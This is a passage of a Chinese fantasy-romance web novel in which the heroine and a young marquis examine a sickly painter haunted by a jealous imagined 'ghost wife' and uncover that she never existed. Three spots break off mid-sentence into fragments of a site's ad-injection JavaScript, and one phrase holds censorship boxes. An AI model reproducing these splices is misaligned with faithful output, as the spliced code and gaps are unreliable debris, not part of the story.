矮胖男人更是直接抖成了筛子,大叫一声,竟突然伸出两手,左右开弓,自扇巴掌,一边扇,一边声泪涕下地忏悔:“是我错了,是我嘴贱,我往后若再编排姑娘一句,就叫我下拔舌地狱,被热猪油煎,被花椒水煮,被剁成丝……” 少女闻声,步子顿了一顿。 黑大汉在心里捶胸顿足,真想揍那胖子一顿,那死胖子不忏悔还好,这一忏悔,岂不是显得他这个不开口的很不知情识趣,偏他又是个嘴笨的,不然也不会得罪姑娘了。 那胖子一声声花样百出的求饶喊得他压力陡增,终于在一片噼噼啪啪的巴掌声里,找准了自己的优势,砰砰砰地在地上磕起头来,一边磕头,一边只是重复:“徐某今晚言行不当,还求姑娘给一个痛快,徐某今晚言行不当,还求姑娘给一个痛快……” 他的优势就是头硬,磕头磕出的响声瓷实入耳,那诚意听起来是巴掌声的好几倍。 璃音看这两人突然中了邪似的,一个不停扇自己巴掌,一个不住地把头往地上磕。 而且那扇巴掌的真不愧是厨子,忏悔词说得她都听馋了。 她咽下口水,不明所以地看了一会儿,最终还是不明所以,缓缓地伸出一根手指,挠了挠头。 这一番动静响天彻地,就是昏迷十年的病人都能被他俩给喊醒了。 慕璟明自然也掀了眼皮,从躺椅上坐了起来。 他默默看了眼对着璃音丢盔卸甲、扇脸磕头、毫无尊严地求着罚的两个大男人,执了破军起身。 惊得璃音以为慕璟明忍无可忍,要拿剑去把那两个聒噪的男人给捅了。 谁知他只是睡眼朦胧地走了过来,埋头在她颈窝蹭了蹭,道:“可以了,让他们走,你去睡吧。” 就打着哈欠,迈着长腿,回屋睡觉去了。 在慕小侯爷心里,杀人不过头点地,但看两人都被逼成那样了,这惩罚已比割舌砍手不知残酷了多少,可见璃音没有心软,自然是十分满意地放她过关。 璃音一头雾水地“哦”了一声,尽管一头雾水,但也知道这是慕璟明疯完了,要放人的意思,于是赶忙冲那两人摆手,示意他们可以走了。 两个男人一个肿着双颊,一个破着额头,千恩万谢地起了身。 就在他们转身要走时,璃音忽然又把两人叫住,迟疑了一下,直把两人吓得又要跪下,才终于问道:“你们方才的道歉,都是真心的吗?” “是真心,是真心。”胖子忙先跳了出来,一双眼里还泪汪汪的,“那日落选,我是怕回去没个交代,这胡编的浑话张口就来了,后来也听说了小侯爷吃了小人做的鱼汤,呕吐不适的事情,已是知道错了,今日得姑娘宽宥,以后断不敢再那样没根没据地讲话。” 黑大汉本只是被鬼影扰心,才磕头求罚,现下听了胖子这一番剖白,自己竟也有所顿悟,喃喃地道:“姑娘,今日我家郎君昏死,徐某本也只当是关心则乱,口不择言,胡乱就把罪按在了姑娘身上,如今想来,竟是怕郎君有恙,罪责要落到自己身上,这才急急地想找个人把责任接牢了,那时我什么凭据也没有,就只管先把一切推到了姑娘身上……” 璃音安静地听这二人说完,轻轻点了点头,笑道:“知道了,你们走吧。” 她收拾好院中的四把椅子,把缝了一半的衣服装进筐里,搬回房间,对着妆镜坐下。 她看着镜中人因沾了夜露而微微水润的脸。 慕璟明确实不是在帮她出头。 而是在逼着她自己为自己出头,提醒她要把憋闷在心里的那一口浊气赶紧吐掉。 她打开晚枝送来的那一个足有三层的精美妆奁,里面蝶钗珠翠,胭脂水粉齐全,她翻出那盒口脂,打开盖子,凑近闻了闻清甜的脂粉香。 她现在仍旧可以毫无顾忌地替别人出头,但是从什么时候开始,她变得不再积极地为自己出头了呢? 听到一些不爱听的话,即便还是会冷笑,会回嘴,但早已与之前的自己变了样,总是一出口就变成顺着别人话头,变着法的自嘲。 心里明明不舒服,却连回个嘴也不敢真的尽兴,明明也是个爱美的小姑娘,却再也不敢上妆。 其实一切犹疑的根源,在最初与小天真的对话中就有了答案。 ——“你配吗?” 指责他人,装扮得漂亮,她一个尚未赎罪的罪人,她配吗? 璃音闻着淡淡的胭脂香,心想,这种感觉,即便不配,但也是舒服的。 她在镜前坐了一夜,翌日清早,天边刚翻出一点鱼肚白,就见那黑脸的徐大哥顶着他破皮流血的额头,急匆匆地往侯府投了拜帖,奔进院中,在璃音房门外就又砰砰砰地磕起头来。 “夏姑娘,求你快去帮帮我家郎君吧,只有你能帮我家郎君了……” 璃音被他吓了一跳,想不明白怎么有人这么爱磕头,赶紧拉他起来,问:“楚公子怎么了?” 黑大汉经她一问,竟滚下泪来:“我家郎君这次好像……好像真的要死了……” 66. 第65章 鬼娘子 出门之前,璃音扒着慕璟明的衣襟仔细检查了一番,看他有把自己绣着阵法的裙摆好好塞着,满意地点点头,才和一早起来就面颊飞红的慕小侯爷一起往楚府去了。 那来求着救人的黑大汉名叫徐远,是楚作戎院中的长侍,这一路下来,便颤着声,把他家郎君的“病症”说了个七七八八。 原来他昨晚被璃音放回楚府后,挂心自家郎君的身体,就想去楚作戎屋里瞧一瞧情况。 却不想就撞见楚作戎正一个劲地拿头撞着柱子,呜呜咽咽地哭着低语:“娘子,我知道那杯冷茶是你换的,我知道是你,都是我不好,我又惹你生气了,但是你别不出来,你理一理我,你不要不理我,你不能不理我……” 最后一下撞得重了,楚作戎自小身子骨就弱,立刻眼冒金星晕死了过去,整个人倒在地上,气息微弱,几乎已经不进气了。 吓得徐远冲上去又是掐人中,又是搓心口,才总算把楚作戎的一口气顺了过来。 谁知楚作戎一醒过来,就又怔怔地盯着天花板开始流眼泪,嘴里模糊呓语着什么“娘子”、“回来”、“我要死了”、“死之前记得来看看我”之类的话,明明睁着眼睛,却像被什么噩梦魇住了。 “郎君,郎君,快醒来,你还未娶亲,并没有什么娘子啊!” 但任徐远怎么叫也叫不醒。 吓得徐远一个高大威猛的壮汉抱着神志不清的郎君,也滚了半夜的泪。 好在捱到天快亮的时候,楚作戎终于不再胡乱絮语,呼吸平稳地睡着了。 说到这,徐远心有余悸地深吸一口气。 “我怀疑,郎君是被什么不干净的东西缠上了。” 他说这话时,求救的目光牢牢钉在璃音身上,他一介武夫,没那些驱邪退鬼的本事,来路不明的方士他不敢请,于是想起了这位举止神秘、可以指腹折针的夏姑娘。 她昨天饶了自己一条胳膊,又是慕小侯爷院子里的人,在此刻无助的徐远心中,只觉再找不到比她更值得依靠的人了。 “不干净的东西……” 璃音思量着楚作戎眉宇间的那股阴气,想那不干净的东西何止是缠上了,看那阴气重的,缠了得有十年不止了,而且听徐远的描述,楚作戎与那阴灵之间,恐怕还有了段艳情。 那阴灵搞不好就是楚作戎口中不停叫唤的“鬼娘子”。 璃音向徐远问道:“这样的症状,楚公子之前有发作过么?” “没有,郎君平时身子也弱,也爱一个人在屋里自言自语,但像这般中了恶的症状,之前从没有过。” 璃音立刻捕捉到了一些信息:“他是从什么时候开始,喜欢一个人在屋里自言自语的?” “好像从小就是如此吧。”徐远茫然地抓了抓头,“这世上摆弄墨水的,不都是如此吗?” 慕璟明懒懒地靠在车壁上,听着楚作戎昨晚的各种怪处,也不对小舅舅表示一下关心,从头到尾没说一句话。 直到进了左司马府,他打发徐远走在前面带路,拉了璃音远远地缀在后面走着,才忽然悠悠地道:“小舅舅在外面养了一位蜀娘子,有六七年了,这事他只与我一个人说过。” 璃音震惊扭头,被这突如其来的八卦差点绊了一跤:“你是说,楚作戎……偷偷养了个外室?” “嗯,站稳了再走。”慕璟明好笑地将她扶住。 璃音脑中一瞬间闪过好几种猜测,她问慕璟明:“那位蜀娘子,你见过了?” 慕璟明淡淡地道:“我为什么要见她,她又不是我养的外室。” “怎么,你也有养外室?”璃音横他一眼,这才发现慕璟明的手不知道什么时候又黏上来了。 这人真是肆无忌惮,不管去哪,也不管在家里还是外面,总要来牵她的手,不牵不会走路似的,真把她当他的通房丫头了不成? 当下就去甩他的手。 “养外室有什么意思。”慕璟明仿佛已经被她甩习惯了,刚被甩开就又牵上去握紧,眉梢一挑,在叆叇朝云里笑得飞扬,“不及我在家养大小姐脾气的小刺客。” 璃音是想狠狠呸他一句“不要脸”的,然而楚作戎的房间到了。 她可没忘记昨晚,自己是怎么被楚作戎当做登徒子踢出来的,于是停下步子,向徐远似笑非笑地道:“不是不让外人进屋么?” 倒不是她在阴阳怪气,而是璃音深知,每个人的心里其实都有慕璟明那样的一张“忌口单子”,各人有各人的忌讳,这位楚公子可能就是特别忌讳别人进他的屋呢?她可无意惹他不痛快。 却不想慕璟明忽然哼一声,牵着她就迈步进屋,凉凉地道:“你不用理会他那些怪癖,当他在作怪就好。” 璃音不咸不淡地瞅他一眼,心想:你也好意思说这话,谁的怪癖能有你多! 转回眼,却忍不住笑了。 他这人真有意思,盼着别人来记住他的每一条怪癖,又不情愿那人再去记别人的。 徐远搓手在后面跟着,一面陪笑道:“姑娘不必担心这个,方才通报过了,夫人也在,喊小侯爷和夏姑娘赶紧进去呢。” 外间一个小丫头正在往茶盏里斟茶,那小丫头看起来十四五岁,穿一身姜黄色小袄,头上扎两个可爱的丫髻,一双鹿眼亮晶晶、湿漉漉的,撞上璃音打量着望过去的眼神,也立时便像受惊的小鹿一般,扭头把视线躲闪开了。 进到里间,萧夫人坐在床边,全身裹在一件厚厚的裘皮大衣里面,正无限爱怜地拥着她那弱不禁风的儿子,一下一下拍着楚作戎的背,温声哄着:“戎儿不喜欢崔家的那个姑娘,那咱就不娶,娘一定再给你物色一个好的,包戎儿喜欢。” 楚作戎一听,立马扯着嗓子大叫起来:“我不要!谁家的姑娘我都不要!我不要成亲!” 说着眼眶一湿,竟就要哭了。 萧夫人忙抚着儿子的胸口哄道:“喔喔,乖心肝,不哭不哭。” 楚作戎今年已过了二十岁了,萧夫人却仍把他当成十二岁的宝宝在哄。 璃音看得有些尴尬。 但很快更尴尬的事就来了,她给萧夫人见礼时,才意识到慕璟明那爪子还紧紧黏在她的手上,而且楚作戎一见了她,就再一次爆发出那种被流氓偷看了裸体般的怪叫,向徐远惊声大喊:“徐远!屏风!快拿屏风来!” 此刻,萧夫人一瞬不瞬盯着她和慕璟明牵在一起的手,楚作戎怪声怪气地喊个不停,而徐远正风风火火地搬着屏风往床前放。 但璃音已经无暇再感到尴尬了,因为她在萧夫人的眉宇间,看到 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 了比楚作戎还要更深更重的阴气。 简直快比阴鬼本鬼还要重了。 这左司马府是怎么回事? 璃音回想昨天见到的楚蠡,他身上倒是没有阴气缠绕的。 她原本猜想是楚作戎恋上了一个“鬼娘子”,一人一鬼痴缠数年,才在楚作戎这个活人身上留下了那样深重的阴气。 但适才慕璟明却说楚作戎养了一个外室,若那蜀娘子就是“鬼娘子”的话,反□□里都是凡人,又没人瞧得见她真身,何须被安置去外室。 而且,看萧夫人这阴气浓重的模样,那阴灵分明缠着萧夫人的时间更长,“鬼娘子”没道理把婆婆缠得比夫君还紧吧? “璟明,你可要帮着劝劝你小舅舅。”萧夫人终于盯够了两人的手,发出一声羡慕的长叹,“有一个知心可心的姑娘陪在身边,是多么畅美的事,你说他怎么就不懂呢?唉,好在现在你懂了,他最听你的,你得多和他说说,帮他开开窍。” 璃音看萧夫人这样说楚作戎,心里暗自觉得好笑:他能有什么不懂的,外室都瞒着你偷偷养了六七年啦,也就你这被蒙在鼓里的母亲还在把他当成什么都不懂的小孩。 慕璟明不好回答,也只是笑:“他到了想懂的时候,自然就会懂的。” 萧夫人却似乎没领会到他的意思,只当有她这个长辈在场,小年轻说话放不开,当下就起身道:“戎儿,娘先走了,明日再来看你。” 这时屏风隔好了,萧夫人在屏风外拍一拍慕璟明的肩膀,低声托付:“璟明,你要多与他说说,成亲多好啊,成亲,唉……” 叹着气走了。 直到萧夫人出了院子,璃音才忽然想到一件事:方才外间那小丫头斟的茶,直到现在也没有被端上来。 屏风内一阵悉悉索索的穿衣声,不一会儿,楚作戎全身裹得跟个粽子一样从里面走了出来。 如今才十月,楚府里这一对母子就都穿上厚重的冬衣了。 璃音瞧楚作戎脸色有些苍白,道:“楚公子,我再给你看看脉吧?” 楚作戎踌躇了一会儿,正要拒绝,忽然对上慕璟明沉冷的眼神,裹在氅衣里的身子没来由打了个寒颤,就鬼使神差点了头:“哦,看脉,好啊……” 等他意识到自己答应了什么,再反悔已经来不及了,脸色唰的一下惨白,忙道:“别在屋里,她会不高兴的,咱们去院子里坐坐吧。” 璃音挑眉:“她?” 这话说得仿佛那个“她”此刻就在屋子里一样。 但璃音目光在四下里环顾一圈,她可以确定,这屋里除了他们几个,再没有其他人了。 包括那个斟茶的小丫头。 楚作戎慌忙堆出一个笑来掩饰,结果堆得眉毛不是眉毛,眼睛不是眼睛的,五官笑成一团乱七八糟:“没什么她,徐远,去煮两壶新茶,一会儿送到院子里来。” 说着不知从哪里抓出一顶幕篱戴上,这下就连脸也遮了个严实,又去柜子里摸摸索索,摸出一团丝线来,拿在手里,才迎着璃音和慕璟明出了房门,去到院中的一个小亭子里坐下。 他戴着幕篱,将那丝线的一端在腕上绑好,然后才别别扭扭地捏着另一端,往璃音手上递去,语调娇羞:“夏姑娘,就隔着这个给我看脉吧。” 67. 第66章 被爱妄想 璃音是很愿意尊重每个人的怪癖的,但是…… “楚公子,看脉不是真的只看个脉就行的。”她无奈指指幕篱上半透的纱帘,“您得把脸露出来。” 楚作戎扭捏一绞手指:“啊……还要看脸啊,要不就不看了吧,我身体没事,好得很。” 他身子弱得风一吹就要倒,堪称是璃音这辈子见过的身子最弱的人,再加上眉心那团终年缠绕的阴气,随时都有加入阴鬼大军的可能。 她不是个爱兜着圈子讲话的大夫,当下就直截了当地告诉他:“楚公子,你的身体若再这样拖下去,能不能活过年关都不一定。” 听她这么一说,楚作戎手指颤了一颤,似乎有些害怕,就抬手要撩开幕篱上缀着的纱帘,但手抬到半空,又犹豫地滞住。 慕璟明与楚作戎迎面坐着,脊骨懒懒地靠在亭栏边上,看他踌躇不决的样子皱了皱眉,便直起身子,伸出长臂,衣袖带风,一把就将楚作戎头上的幕篱掀了,向璃音道:“去看。” “慕璟明!”楚作戎捂脸惊呼。 慕璟明见状,干脆起身,绕去楚作戎身后,一手强硬地摁住他的肩膀,不让他逃走,一手掰开他捂在脸上的手指,不理会他嘴里的乱叫,仍是向璃音道:“来看。” 璃音忙凑上去仔细察看楚作戎的脸色,眉间的阴气比昨日更深了,即便身边时刻有阴灵为伴,也不该在一夜之间加深这么多。 “舌苔也要看一看。”她把手指搭上楚作戎的腕间,感受着他的脉象。 慕璟明收到指令,立刻一捏楚作戎的下巴,楚作戎挣扎不动,被捏出一阵呜呜啊啊的乱哼,强迫着把舌头露了出来。 等慕璟明松手,楚作戎的身体已经完全放弃了挣扎,但嘴里还不忘控诉:“魔鬼,你们两个都是魔鬼。” 被骂作魔鬼的慕璟明勾起唇角,抬眸向另一个女魔鬼道:“还要看哪里?” “按住他的头,我看一下他的眼睛。” 楚作戎只觉脑袋被人从后面牢牢锁住,女魔鬼就迎面欺身上前,一手捧住他的腮颊,一手开始掀撩他的眼睑,认真专注的视线不时落入他的瞳孔里,有种莫名能使人心神宁静的魔力。 但他只宁静了一息,当女魔鬼晶亮的眸光再一次映入他眼中时,忽然向她开口道:“我有爱人了。” 璃音闻言,翻看眼睑的动作顿了一顿,病人猝不及防来了这么一句情史分享,语气还格外严肃认真,莫非是在向她隐晦地暗示什么?他的病情与那爱人有关? 楚作戎见璃音神情微滞,又叹惋着向她重复一遍:“夏姑娘,我有爱人了。” 这下语气就明显了。 璃音嘴角抽动了一下:“知道了,你有爱人了,恭喜。” “小七,我看好了。” 她收起翻看完眼睑的手指,就接收到楚作戎投来的一个怜惜又安慰的眼神:“夏姑娘,你也不必过于伤怀。” 璃音要坐下的动作顿住:“……伤怀?” “唉,傻姑娘,你那样盯着我看,我哪里会不知道你的心思。”楚作戎摇头嗟叹,“可惜我已心有所属,是没法回应你的这一份倾心的。” 虽然已经有所预料,但璃音还是不由得缓缓睁圆了双眼:“……?” 她眼睛睁了又睁,滚黑的瞳仁好似两颗剥了皮的桂圆:“楚公子该不会是觉得我看上您了吧?” 这位楚公子昨日在侯府时谈吐还挺正常,说知道自己名声不好,姑娘们不愿嫁他,特有自知之明的样子,惹得璃音对他好一番另眼相看。 结果今天就自恋到如此可怕的地步,但凡哪个姑娘向他看了一眼,都是爱上他了。 璃音有些困惑,难道男人的谦虚与自恋的总量是恒常的,昨日自谦了一下,今日就要自恋回来? “这也不能怪你,女子没见着我时,是会被我的名声吓跑的,但一旦见了我,看我这样倜傥的容貌,怎么可能不爱上我。”楚作戎还在摇着脑袋认真苦恼,“唉……可我没办法回应她们的爱,也没法回应你的,你不知道,我家小蜀简直是个醋缸里泡出来的丫头,今日姑娘这一番,她又不知要生我多久的气,唉……” 慕璟明轻笑一声,拉过拳头发硬的少女在身边坐下,整个人没骨头一样,慵懒地往亭栏上一靠,说不出的清贵闲散,少年风流,看不出一点适才摁着别人肩膀逼人张嘴吐舌的魔鬼样子。 虽然拳头硬了,但璃音还是决定先问重点:“小蜀,是那个你偷养的外室么?” “什么叫偷养的外室,小蜀是我的娘子。”楚作戎着了恼,向慕璟明瞪去一眼,“你倒是什么都告诉她。” “我还能瞒她什么。”慕璟明仍旧闲闲懒懒地笑,“命都给她了。” 他说这话时的语气并没什么特别的不同,寻常到好像在说“今天天气不错”一样。 璃音猛地扭头看他,他就挑了眉梢,在十月的清冷日光下回她一个任情恣纵的笑。 他没事就总爱说她是小刺客,问她什么时候杀他,说些“今天的菜也没下毒呢”的话,璃音不知道适才这句是不是这些意思的另一个翻版。 不过慕璟明的性命存放在她这里,可比放在他自己那里安全多了,她承诺过,一定会守护好他的,璃音哼一声,不再去看他晶亮的眸色,转回头,才道:“最好是真的给我了。” “命给她了……”楚作戎在一边喃喃出声,“是,我的命也给了娘子了,我把命给了娘子了,若我活不到年关,那就是小蜀不想我活到年关了……” 璃音抱了胳膊在胸前,忽然冷笑道:“什么娘子,你都没有把她娶回家,说到底还不就是外室。” 你知道什么!”楚作戎立时瞪红了眼,叫着跳起身来,吼完这句却又失力般坐下,眼圈仍是发红,语调也低落下去,“我那是没办法,我没办法娶她……” “喊人家娘子喊得那么深情动听,到头来又说什么没办法娶她回家,哼,都是没那么爱她的借口。” 璃音确实有点恼他,但做出这副样子,更多是有心要激他抖出更多关于蜀娘子的信息,当下一指被慕璟明掀下后扔在一旁的幕篱:“你以为弄这些怪模怪样的行头出来装疯卖傻,嘴上再说几句软话,她就会觉得你爱惨了她,心里因此感到快活么?” 果然,楚作戎一听见有人质疑他对蜀娘子的爱,立马又跳起脚来:“我怎么不爱她,她只是爱拈酸吃醋,但肯定明白我是爱她的,我说了,不是我不要娶她,是我不能,我没有办法,你懂吗?我不能娶她,所以我也不娶别人,她就是我此生唯一的妻子。” “那她怎么都不来见你了?她不来见你,肯定是不爱你了。”璃音继续残酷地用言语诱导着他,要他说出更多。 这时徐远端来一壶新煮的茶水,往石桌上放下三杯斟满的茶盏,退下了。 楚作戎怔怔地端起手边那盏茶,道:“她最爱我的,爱到别个女子多看我一眼她就要生气,罚我喝冷水。 “一定是昨日我夸你长得美,她就生气了,不肯来见我了,我昨晚倒了热茶,不过一个转身,再拿起来,却就凉了,我就知道她生气了,她要罚我,所以我把那一杯的凉水都喝了,以往我只要喝了,身体经受不住,她就一定会心疼我,原谅我的,可这次…… “可这次她就是不肯消气,我往肚子里灌下整整一壶的冷水,她也不来心疼我了,难道……难道 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 她真的不爱我了吗?” 眼泪滴在茶盏里,溅出一小圈水纹,楚作戎仰头就要一饮而尽,却被璃音劈手就把茶盏夺了:“不能喝!” 一触到杯壁,璃音眸色就沉了下去。 楚作戎的这一杯,果然是凉的。 而她和慕璟明的茶水,都在这渐冷的十月里,向上蒸腾着象征滚热的雾气。 楚作戎被夺了茶盏,怔愣片刻,便发疯般地向璃音扑了过去,要把杯子抢回:“还给我!那是小蜀给我的茶!你把小蜀给我的东西还给我!让我喝!” “你知道这一杯是什么?!” 璃音说着就把茶盏向地面一倾。 “不许你倒掉小蜀给我的茶!”楚作戎大喊着就要用手去接那水柱,却被慕璟明一脚抵住膝盖,往后推了好几步。 凉水落地,竟不闻淅淅沥沥的泼洒之声,而是嘶嘶响叫着化作一团黑烟,盘绕着向空中消散了。 璃音将茶盏扔回桌面,向楚作戎道:“现在你还确定,她是真的爱你吗?” “小蜀,小蜀给我的茶没了……”楚作戎哭叫着瘫跪在地上,不停用手去抚摸那一块连水渍都没留下的地面,已全然宛若一个疯子,“小蜀最爱我的,她爱我才给我倒茶喝,我不喝,她要生气的。” 听他这样说,璃音忽然想到方才在外间斟茶的那个小丫头,心中一动,蹲下身,道:“楚公子,刚才那茶也未必是蜀娘子给你斟的吧,许是院子里的小丫头倒错了呢?” 楚作戎像个孩子一样扭身躲开她的靠近,怒道:“你为什么又要胡说害我!我院子里哪来的什么小丫头,这话再被小蜀听去了可怎么好!” “好好好,是我看错了,没有小丫头,那茶定是蜀娘子给你沏的。”璃音忙学着萧夫人哄他那样轻轻拍他的背,果然把他拍顺服了,“蜀娘子刚才既给你沏茶了,说明她心里还是有你的,她是来你院中偷偷看你来了吧,你还不快去找她相见。” 楚作戎闻言止了哭声,却只沉默着伏在地上,不说话。 璃音见他一动不动,心念电转,又道:“你不想去见她吗,我都有点想见见呢,真好奇蜀娘子会是怎样的一种美啊……” 一听到“美”这个字,楚作戎果然有了反应。 他抬起头,脸上渐渐浮现出痴迷的神色:“小蜀,她是世上最美的那一种美。” 璃音乘势问道:“不能让我们见见吗?” “见不到,不好见,不好见的。”楚作戎连连摇头。 璃音不肯放弃:“不方便见面,那画像呢?楚公子一定把世上最美的姑娘留在画中了吧,画像也不能给我们看一看吗?” “画像,有的。”楚作戎犹疑着点头。 璃音知道就差临门一脚了,忙无限神往道:“好想见识一下世上最美的那一种美啊,真有这么美吗,楚公子,你不会是情人眼里出西施,在骗我们的吧?” 楚作戎立马站起身来,激动地道:“我为什么要骗你!小蜀是世上最美的,你见过她的画像就知道了!” 说着就迈开大步,奔去房中找画。 璃音拍拍裙子起身,目的达成,有些得意地动了动眉梢。 “阿璃好手段,哄得小舅舅团团转呢。”慕璟明支着下巴看着她笑。 “你怕什么,不是说命都给我了?”璃音转身,挑眉看他,“要反悔?” 慕璟明笑着向远处点一点下巴:“传说中的天下第一美这么快就来了。” 就见楚作戎用层层绒毯裹着,抱来一幅画卷,珍而重之地在两人面前展了开来。 璃音心中其实已经隐约有了一个答案,然而她垂目一看那画像,却是一怔。 68. 第67章 猜错了吗 画中人并不是那个斟茶的小丫头。 而是一位真真正正的美人。 画中的美人杏脸桃腮,花容月貌,尤其一双水眸顾盼生辉,明丽动人,璃音凑近端详,越看越觉得这张脸有几分面熟,再仔细一想,忽地恍然,她偏头看向楚作戎,喃喃道:“原来她真是你的娘子。” 画中的蜀娘子,与楚雁儿有七八分相像。 或者应该说,是她的后人楚雁儿,遗承到了这位先祖七八分的相貌,一双鲜活水润的眸子更是别无二致,直看得人浑身筋骨都酥了。 “早就跟你们说了,她就是我的娘子呀。”楚作戎指尖微颤,伸手去触那画中美人的面颊,满脸痴迷中,又带着点骄傲的神色,“你们说,我的小蜀,是不是这世上最美的女子?” “这个嘛……”璃音摸了摸下巴,勉强点头,“也算是吧。” 她觉得楚作戎所谓的“最美”实是不大严谨,若非看遍天下女子,如何能评出个“最”字来?而且在她看来,美人就是美人,各美各的,这是无法评出一个“最”字的。 她最后点头,是想到楚作戎与画中女子的后代都传到九百年后了,尽管现在看来处处透着诡异,但料想最后必定是修成正果的,她可无意打扰人家这种“情人眼里出最美”的情趣,既然她心里无法评出一个最美,那大家一起都是“最美”也就罢了。 说罢扭头,想听听慕璟明会怎么说,却就撞见他黏在自己脸上的视线,不经意间眼神相对,他也不躲不闪,没一点偷看别人被抓包的窘迫,反而眉峰轻抬,挺得意似的,将那视线更直白地往她眼底灼了进去。 随即唇瓣微动,似乎就要张口说话,璃音没来由得一阵慌乱,一抬手就用力捂住了他的双唇。 可能是被楚作戎的自恋传染了,她真怕这位无所顾忌的小侯爷会说出“阿璃最美”这样的话来。 慕璟明眨眨眼,柔软的唇肉轻擦着少女微凉的掌心勾起,从她覆在他双唇上的指缝间泄出一声轻笑。 轻柔的痒意挠得璃音将手缩回,这下她确定自己是真的被楚作戎的自恋传染了,不然怎么会觉得慕璟明刚才好像……是故意在勾自己的魂呢? 她干咳一声,转回脸,想要继续看画。 才见楚作戎已经把画卷了起来,嘴里还在不满地嘟囔:“什么叫‘也算是吧’,原来你根本不懂欣赏,哼,不给你看了。” 反正想看的都已看到了,璃音也就随他把画收了回去。 其实无论画中这位女子究竟是人是鬼,还是别的什么,也无论她和楚作戎到底有怎样的一段情缘,只要不出来作恶,她都无意去管。 但这俩若真是一对有情人,这位蜀娘子又为何要不停地往楚作戎体内灌入阴气呢?就只是因为拈酸吃醋吗?她难道不知道,这样的惩罚会让她夫君注定成为一个短命鬼的。 而且哪怕她惩罚楚作戎真是因为吃醋,那萧夫人体内的阴气又要作何解释? 还有那在屋里斟茶的小丫头,璃音满心以为她会是那画中人的,因为她是自己在这左司马府中,见到的第一具实实在在的游魂啊! 这时她忽然记起楚作戎传世的一个名头——工笔写实的巅峰,揽华公主之前介绍过,这位字画大师从不虚构山水,只画自己所见,不画自己所想。 那么这位蜀娘子既然在他的画中,就一定是确有其人了。 她一天之内竟猜错了两次。 长着一双鹿眼的小丫头并不是画中人。 而蜀娘子也不是纠缠楚作戎的阴鬼。 其实想想也是,楚作戎只是一介凡人,他的肉眼凡胎哪里能瞧见什么“鬼娘子”。 可蜀娘子不是阴鬼,又怎么会有一吃醋就给丈夫喂阴气这样的怪举?楚作戎又为什么不光明正大地与她成亲呢? 璃音想不明白。 等回房放画的楚作戎脚步渐远,慕璟明忽道:“小舅舅口中的蜀娘子有问题。” 璃音惊讶侧眸:“我还当你方才没在看画呢。” 说完就意识到了不对,这要命的被楚作戎传染的自恋!说什么没在看画,不就是在明里暗里打趣人家一直在偷看她吗? 璃音尴尬地赶紧撇过脸去,但终究还是慢了一步,颊上晕出的一点绯红已然落进了少年眼底。 慕璟明轻笑一声,道:“还是看了一眼的。” 这回答叫璃音默默把头扭得更偏了些。 还是看了一眼的……?! 对那幅画还是看了一眼的,言下之意,不就是明晃晃地在承认,除了那一眼,剩下的时间都在看她么? 真不能怪她自恋,任谁被慕小侯爷这样直白炽烈的视线追逐过,都一定会自我感觉莫名良好,会以为自己在他心里万分特别,会以为…… 她不敢也不愿意再想下去了,忙清了清嗓子,努力把话题扳回正轨:“嗯,哦对,你看……看了,所以才发现有问题的嘛,嗯……你发……你发现蜀娘子有什么问题?” 少女面上镇定,讲话却不知为何打起了磕巴。 “脖子挺厉害的,这样都没扭坏。” 慕璟明笑着去扳少女的下巴,不出所料吃了她一记横眼,便不再继续逗弄她了,继续说回蜀娘子身上:“那幅画,是小舅舅在十年前画的了。” “十年前?” “嗯,我记得,那日他射箭输了我,有意要在画技上找回点面子,就非要与我比一幅画,说他已经画出了他想象中的世间最美的女子,若我画不出更美的,就要给他磕三个头,大喊‘小舅舅厉害’,向他认输。” “十年前,你才七八岁吧?懂什么世间最美的女子,你这头岂不是磕定了。”璃音禁不住莞尔,又有点好奇,“最后呢,你画了么?画了什么?” 慕璟明轻垂长睫,及时掩住眼底那一抹微不可察的落寞:“我画了母亲。” 话音甫落,他就听见身前传来少女低低的,带着温腻关切的一声:“小七……” 他顿了顿,忽地抬眼,像撕开海浪,蓄意要将底下深埋 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 万年的暗礁一览无遗地袒露,他向她笑道:“七八岁是太小了,那时候还分不清什么叫母亲,什么叫娘亲。” 他像是在轻轻揭开一个隐秘的、早已结痂的伤口,挤着要它冒出一颗小小的血珠,只为勾动眼前少女漂亮睫羽的一次轻颤。 他确实勾动了。 少年的唇角不自觉地翘起一个难以捕捉的弧度:“你心疼我了?” 这抹笑意随后便被他肆无忌惮地绽开,轻轻挨了少女踢过来的一脚,他笑着继续说道:“反正小舅舅应该是心疼我了,他比我大一些,心思也更敏感些,知道我娘亲死得早,画的又是他姐姐,无法开口驳斥说这不是世上最美的人,便不好算我输了,也就没有叫我磕头。” 璃音轻哼,心想,原来这家伙七八岁时就这么坏,知道怎么勾得别人心疼了。 现在回想那时在昆仑山上,西王母让她助摇光神君渡劫,她原本是要拒绝的,后来是怎么鬼使神差地就答应了来着? 可不就是被这双浸染了落寞的眼睛晃了心神。 不过转念想想,正常人家的孩子,本应该不必耍弄这些心机,天生就能得到父母全然一片真心的疼爱的,像楚作戎,二十多岁了,仍被娘亲疼得像个走不动路的小宝贝。 璃音顺着他的话想了想,道:“那楚公子当时画的,就是蜀娘子了?” “不错。”慕璟明轻轻点头,“就是方才那一幅。” 画中女子模糊是个十七八岁的模样,若是十年前画的,那她现在便该有二十七八了,想到这里,璃音不禁蹙眉,难道是因为女方年纪比他稍大了些,所以楚作戎才不娶她当正头娘子?这样未免太荒谬了吧。 不对! 她猛地反应过来。 “你没有记错,楚公子当时和你说的是,他已经画出了他想象中世间最美的女子?”璃音急切地出声确认,“这幅画中的女子,是他想象出来的?” “我不会记错,就在他拿出这幅画的隔天,他就大病一场,病好之后,突然把之前作的画全都烧了,楚叔叔高兴得厉害,以为小舅舅终于要弃文从武,结果他只是宣布,从此以后,只画他所见,再不画他所想。我一直以为那幅画也在那日一起被烧了,没想到他今天又拿了出来。” 慕璟明微皱了下眉,眸色也凝肃起来:“所以这个世上,根本没有蜀娘子这个人。” 兜兜转转,这位蜀娘子到底还是个并不存在的“鬼娘子”。 原来号称从不画虚构山水的大画师楚作戎,在年少时也曾任由画笔随想象驰骋,只不过那些画最后都被他一把火烧了,只留下了这一幅他想象中的,世间最美的女子。 